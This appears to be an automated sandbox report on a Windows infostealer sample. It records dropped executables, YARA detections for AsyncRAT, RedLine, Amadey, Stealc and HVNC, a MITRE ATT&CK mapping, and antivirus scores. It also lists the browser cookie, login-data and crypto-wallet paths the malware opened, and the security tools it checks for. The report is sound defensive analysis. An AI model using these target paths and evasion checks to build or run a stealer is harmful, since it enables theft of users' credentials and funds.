Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Process created: C:\Windows\System32\audiodg.exe "C:\Windows\system32\audiodg.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Process created: C:\Windows\System32\msiexec.exe "C:\Windows\system32\msiexec.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Process created: C:\Windows\System32\audiodg.exe "C:\Windows\system32\audiodg.exe"
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Process created: C:\Windows\System32\svchost.exe "C:\Windows\system32\svchost.exe"
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Process created: C:\Windows\System32\msiexec.exe "C:\Windows\system32\msiexec.exe"
Source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	Process created: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe "C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe"
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Process created: C:\Windows\System32\svchost.exe "C:\Windows\system32\svchost.exe"
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Process created: C:\Windows\System32\audiodg.exe "C:\Windows\system32\audiodg.exe"
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Process created: C:\Windows\System32\msiexec.exe "C:\Windows\system32\msiexec.exe"
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process created: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe "C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe"
Source: C:\Users\user\AppData\Local\Temp\1015201001\58f855a64b.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1015202001\ab674664b3.exe	Process created: unknown unknown

Source: explorer.exe, 0000000B.00000003.3485778659.0000000009B9C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000003.3200607282.0000000009BAC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.2776738838.0000000009B41000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd=
Source: explorer.exe, 0000000B.00000000.2770454902.0000000001731000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: file.exe, 00000000.00000002.2084983877.00000000003EC000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.2119134189.0000000000D9C000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000003.00000002.2119149268.0000000000D9C000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: oog_`Program Manager
Source: explorer.exe, 0000000B.00000000.2771625924.0000000004B00000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.2770454902.0000000001731000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 0000000B.00000000.2770454902.0000000001731000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 0000000B.00000000.2770454902.0000000001731000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 0000000B.00000000.2769847347.0000000000EF8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PProgman
Source: file.exe, 00000000.00000002.2084983877.00000000003EC000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.2119134189.0000000000D9C000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000003.00000002.2119149268.0000000000D9C000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: og_`Program Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1015201001\58f855a64b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1015201001\58f855a64b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1015202001\ab674664b3.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1015202001\ab674664b3.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1015203001\9a445eef2c.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1015203001\9a445eef2c.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1015204001\45777d8908.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1015204001\45777d8908.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1015205001\5b325eedca.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1015205001\5b325eedca.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1015206001\b0840c8786.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1015206001\b0840c8786.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1015207001\XAzdvQx.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1015207001\XAzdvQx.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\audiodg.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001CCBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

0_2_001CCBEA

Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe

Code function: 7_2_00007FF6AE2233F8 GetVersionExW,

7_2_00007FF6AE2233F8

Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Lowering of HIPS / PFW / Operating System Security Settings

Yara detected AsyncRAT

Source: Yara match	File source: 21.0.79F6.tmp.AsyncClient.exe.f40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000015.00000000.2918234862.0000000000F42000.00000002.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2984519504.000000000AA2D000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 1028, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 6737.tmp.fcxcx.exe PID: 3748, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe, type: DROPPED

Source: K6UAlAU.exe, 232B06DEE822786254513.exe, audiodg.exe, svchost.exe, msiexec.exe	Binary or memory string: procmon.exe
Source: K6UAlAU.exe, 232B06DEE822786254513.exe, audiodg.exe, svchost.exe, msiexec.exe	Binary or memory string: procexp.exe
Source: K6UAlAU.exe, 232B06DEE822786254513.exe, audiodg.exe, svchost.exe, msiexec.exe	Binary or memory string: autoruns.exe
Source: 6737.tmp.fcxcx.exe, 00000011.00000002.3236899013.0000000000EC9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected Amadeys Clipper DLL

Source: Yara match	File source: 20.2.Gxtuum.exe.6b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.0.Gxtuum.exe.6b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.0.Gxtuum.exe.6b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.Gxtuum.exe.6b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.0.71C7.tmp.ctx.exe.7d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.71C7.tmp.ctx.exe.7d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe, type: DROPPED

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 2.2.skotes.exe.b60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.1b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.skotes.exe.b60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000003.2076189455.00000000052E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2074780738.0000000004D70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2044020682.0000000004810000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2116756890.0000000000B61000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2116623909.0000000000B61000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2675046561.00000000048D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2084391579.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected HVNC

Source: Yara match	File source: 26.2.861C.tmp.Build.exe.3fa3990.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.861C.tmp.Build.exe.3fa3990.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001A.00000002.3071393183.0000000003FA3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 17.0.6737.tmp.fcxcx.exe.930000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000003.2984346806.000000000AA42000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000000.2870306752.0000000000932000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 1028, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe, type: DROPPED

Yara detected Stealc

Source: Yara match

File source: dump.pcap, type: PCAP

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	File opened: C:\Users\user\AppData\Roaming\atomic\
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\Cache\
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\db\
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\

Source: Yara match	File source: 26.2.861C.tmp.Build.exe.3fa3990.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.861C.tmp.Build.exe.3fa3990.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001A.00000002.3071393183.0000000003FA3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected HVNC

Source: Yara match	File source: 26.2.861C.tmp.Build.exe.3fa3990.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.861C.tmp.Build.exe.3fa3990.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001A.00000002.3071393183.0000000003FA3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 17.0.6737.tmp.fcxcx.exe.930000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000003.2984346806.000000000AA42000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000000.2870306752.0000000000932000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 1028, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe, type: DROPPED

Yara detected Stealc

Source: Yara match

File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	221 Windows Management Instrumentation	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	1 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	22 Native API	11 Scheduled Task/Job	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	2 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Shared Modules	11 Registry Run Keys / Startup Folder	1 Access Token Manipulation	1 Abuse Elevation Control Mechanism	Security Account Manager	318 System Information Discovery	SMB/Windows Admin Shares	1 Screen Capture	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Exploitation for Client Execution	Login Hook	912 Process Injection	252 Obfuscated Files or Information	NTDS	11 Query Registry	Distributed Component Object Model	2 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 Command and Scripting Interpreter	Network Logon Script	11 Scheduled Task/Job	121 Software Packing	LSA Secrets	1391 Security Software Discovery	SSH	Keylogging	124 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	11 Scheduled Task/Job	RC Scripts	11 Registry Run Keys / Startup Folder	1 Timestomp	Cached Domain Credentials	671 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	671 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Access Token Manipulation	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	912 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	1 Hidden Files and Directories	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	57%	Virustotal		Browse
file.exe	50%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1015203001\9a445eef2c.exe	100%	Avira	TR/ATRAPS.Gen
C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	100%	Avira	TR/Dropper.Gen
C:\Users\user\AppData\Local\Temp\1015204001\45777d8908.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/ATRAPS.Gen
C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	100%	Avira	TR/Dropper.Gen
C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\K6UAlAU[1].exe	100%	Joe Sandbox ML
